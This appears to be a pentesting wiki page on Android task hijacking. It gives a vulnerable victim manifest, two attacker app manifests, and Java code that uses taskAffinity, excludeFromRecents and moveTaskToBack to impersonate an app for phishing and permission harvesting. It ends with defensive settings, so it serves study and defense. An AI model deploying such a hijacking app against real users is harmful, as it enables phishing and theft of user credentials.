Task Hijacking

What is Task Hijacking?

Task hijacking is a security vulnerability in Android that allows a malicious app to take over the identity of a legitimate app, facilitating phishing attacks. Instead of displaying the real app activity, a fake activity is shown, tricking users into revealing sensitive data.

This attack is similar to UI injection, as both involve fake activities imitating legitimate app screens. However, in task hijacking, the malicious activity replaces the original one within the same task, making detection difficult for the user.

Examples of Task Hijacking Attacks

Key Concepts: Tasks, Back Stack, and Launch Modes

Task Affinity

Task affinity is an attribute defined in the <activity> tag of the AndroidManifest.xml file. It determines which task an activity prefers to be associated with. By default, all activities in an app share the same affinity as their package name.

Example:

<activity android:taskAffinity=""/>

Launch Modes

Launch modes control how activities are launched and managed in a task. They are defined in AndroidManifest.xml or as flags in intents. The four launch modes are:

  • standard

  • singleTop

  • singleTask

  • singleInstance

For task hijacking, the singleTask mode is most relevant. It ensures that an activity is always the root of its task but allows other activities (with standard or singleTop modes) to join the task.

Proof of Concept (PoC)

Full Source-Code: https://github.com/az0mb13/Task_Hijacking_Strandhogg/tree/main

Creating a Vulnerable Victim App

To demonstrate the attack, let’s create a vulnerable app (e.g., Super Secure App). Below is its AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.zombie.ssa">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:logo="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.SuperSecureApp">
        <activity android:name=".LoggedIn"></activity>
        <activity android:name=".MainActivity" android:launchMode="singleTask">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

The line android:launchMode="singleTask" introduces the vulnerability.

Creating the Attacker’s App

Now, let’s create an attacker app that exploits this vulnerability. Below is its AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.zombie.attackerapp"
    tools:ignore="ExtraText">
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.AttackerApp"
        android:taskAffinity="com.zombie.ssa">
        <activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

The attacker app:

  • Uses android:taskAffinity="com.zombie.ssa" to associate itself with the victim’s app task.

  • Hides from the recent apps list with android:excludeFromRecents="true".

Attacker's Code (MainActivity.java)

package com.zombie.attackerapp;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;

import com.google.android.material.snackbar.Snackbar;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        moveTaskToBack(true);
    }

    @Override
    public void onResume(){
        super.onResume();
        setContentView(R.layout.activity_main);
    }
}

The function moveTaskToBack(true) pushes the activity to the background, making it seem invisible to the user.

How the Attack Works

  1. The victim app (Super Secure App) opens normally.

  2. The attacker app runs in the background and minimizes itself to avoid detection.

  3. When the victim app is reopened, the attacker’s app takes over the task, deceiving the user.

  4. This method can be used for phishing or permission harvesting attacks, making it appear as if the victim app is requesting permissions while actually granting them to the attacker.

Exploiting moveTaskToBack() and excludeFromRecents

The moveTaskToBack() function minimizes the attacker app, keeping it hidden while it remains active. The excludeFromRecents attribute prevents the attacker app from appearing in the recent apps list, making detection even harder.

Example attacker app manifest:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.tmh.attacker">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.Attacker"
        android:taskAffinity="com.tmh.victim">
        <activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
package com.tmh.attacker;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        moveTaskToBack(true);
    }

    @Override
    public void onResume(){
        super.onResume();
        setContentView(R.layout.activity_main);
    }
}

Defense Against Task Hijacking

To mitigate this vulnerability, developers should:

  1. Set taskAffinity to an empty string:

    <activity android:taskAffinity=""/>
  2. Use singleInstance launch mode if an activity should not share tasks.

  3. Override onBackPressed() to prevent unexpected task switching.

Resources

More details

And for/from developers:

Video:

Disclosed Reports

Last updated

Was this helpful?